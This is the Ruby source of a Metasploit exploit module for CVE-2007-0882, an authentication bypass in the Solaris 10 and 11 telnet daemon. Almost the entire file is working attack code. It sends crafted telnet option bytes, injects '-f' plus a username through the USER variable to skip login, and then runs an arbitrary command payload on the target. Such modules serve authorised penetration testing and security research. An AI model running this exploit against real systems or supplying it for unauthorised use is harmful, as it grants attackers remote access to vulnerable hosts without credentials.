Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = ExcellentRanking

        include Msf::Exploit::Remote::Tcp

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'Sun Solaris Telnet Remote Authentication Bypass Vulnerability',

                        'Description'    => %q{

                                This module exploits the argument injection vulnerabilty

                                in the telnet daemon (in.telnetd) of Solaris 10 and 11.

                        },

                        'Author'         => [ 'MC' ],

                        'License'        => MSF_LICENSE,

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'CVE', '2007-0882' ],

                                        [ 'OSVDB', '31881'],

                                        [ 'BID', '22512' ],

                                ],

                        'Privileged'     => false,

                        'Platform'       => ['unix', 'solaris'],

                        'Arch'           => ARCH_CMD,

                        'Payload'        =>

                                {

                                        'Space'    => 2000,

                                        'BadChars' => '',

                                        'DisableNops' => true,

                                        'Compat'      =>

                                                {

                                                        'PayloadType' => 'cmd',

                                                        'RequiredCmd' => 'generic perl telnet',

                                                }

                                },

                        'Targets'        =>

                                [

                                        ['Automatic', { }],

                                ],

                        'DisclosureDate' => 'Feb 12 2007',

                        'DefaultTarget' => 0))

                        register_options(

                                [

                                        Opt::RPORT(23),

                                        OptString.new('USER', [ true, "The username to use",     "bin" ]),

                                ], self.class)

        end

        def exploit

                connect

                print_status('Setting USER environment variable...')

                req =  "\xFF\xFD\x26\xFF\xFB\x26\xFF\xFD\x03\xFF\xFB"

                req << "\x18\xFF\xFB\x1F\xFF\xFB\x20\xFF\xFB\x21\xFF"

                req << "\xFB\x22\xFF\xFB\x27\xFF\xFD\x05"

                sock.put(req)

                sock.get_once

                req << "\xFF\xFC\x25"

                sock.put(req)

                sock.get_once

                req << "\xFF\xFA\x26\x01\x01\x02\xFF\xF0"

                sock.put(req)

                sock.get_once

                req << "\xFF\xFA\x1F\x00\x50\x00\x18\xFF\xF0"

                sock.put(req)

                sock.get_once

                req << "\xFF\xFE\x26\xFF\xFC\x23\xFF\xFC\x24"

                sock.put(req)

                sock.get_once

                req =  "\xFF\xFA\x18\x00\x58\x54\x45\x52\x4D\xFF"

                req << "\xF0\xFF\xFA\x27\x00\x00\x55\x53\x45\x52"

                req << "\x01\x2D\x66" + datastore['USER'] + "\xFF\xF0"

                sock.put(req)

                sock.get_once

                select(nil,nil,nil,0.25)

                sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")

                select(nil,nil,nil,0.25)

                handler

        end

end